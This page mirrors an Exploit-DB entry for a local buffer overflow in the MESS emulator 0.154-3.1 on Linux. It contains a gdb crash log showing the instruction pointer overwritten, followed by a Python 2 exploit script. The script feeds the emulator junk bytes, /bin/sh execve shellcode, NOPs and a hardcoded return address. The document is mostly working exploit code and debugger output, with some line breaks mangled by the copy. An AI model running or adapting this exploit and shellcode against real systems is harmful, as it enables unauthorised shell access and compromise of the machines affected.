Mess Emulator 0.154-3.1 – Local Buffer Overflow - 体验盒子

作者： Juan Sacco

日期： 2016-04-07

类别：

local

平台：

linux

来源：https://www.exploit-db.com/exploits/39673/

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# Exploit Author: Juan Sacco - http://www.exploitpack.com -

jsacco@exploitpack.com

# Program affected: Multi Emulator Super System (MESS)

# Version: 0.154-3.1

#

# Tested and developed under:Kali Linux 2.0 x86 - https://www.kali.org

#

# Program description: MESS is an emulator for various consoles and

computing systems, sharing a

# lot of codebase with the MAME project.

# Kali Linux 2.0 package: pool/non-free/m/mame/mess_0.154-3.1_i386.deb

# MD5sum: ae8650a6de842e6792ba83785ac0dbef

# Website: http://mamedev.org/

#

# gdb$ run -gamma $(python -c 'print "\x41"*4080')

# Starting program: /usr/games/mess -gamma $(python -c 'print "\x41"*4080')

# [Thread debugging using libthread_db enabled]

# Using host libthread_db library

"/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".

#

# Program received signal SIGSEGV, Segmentation fault.

#

--------------------------------------------------------------------------[regs]

#

#EAX: 0x00000000EBX: 0x72203B22ECX: 0x00001024EDX: 0xBFFFE094o d

I t S z a p c

#ESI: 0x00001024EDI: 0xBFFFE095EBP: 0x00001024ESP: 0xBFFFD038EIP:

0x41414141

#CS: 0073DS: 007BES: 007BFS: 0000GS: 0033SS: 007B

#

--------------------------------------------------------------------------[code]

#

# => 0x9684539: movesi,DWORD PTR [ebx+0x48]

# 0x968453c:leaedi,[ebp+esi*1+0x0]

# 0x9684540:push edi

# 0x9684541:push ebx

# 0x9684542:call 0x96843b0

# 0x9684547:addesp,0x10

# 0x968454a:test al,al

# 0x968454c:je 0x96845ad

#

--------------------------------------------------------------------------------

#

# 0x41414141 in ?? ()

#

# gdb$ backtrace

#

# #10x41414141 in ?? ()

import os,subprocess

def run():

try:

print "# Mess Emulator Buffer Overflow by Juan Sacco"

print "# This exploit is for educational purposes only"

# JUNK + SHELLCODE + NOPS + EIP

junk = "\x41"*4084

shellcode =

"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

nops = "\x90"*12

eip = "\xd1\xf3\xff\xbf"

subprocess.call(["mess",' ', junk + shellcode + nops + eip])

except OSError as e:

if e.errno == os.errno.ENOENT:

print "Sorry, Mess emulator not found!"

else:

print "Error executing exploit"

raise

def howtousage():

print "Snap! Something went wrong"

sys.exit(-1)

if __name__ == '__main__':

try:

print "Exploit Mess 0.154-3.1 Local Overflow Exploit"

print "Author: Juan Sacco"

except IndexError:

howtousage()

run()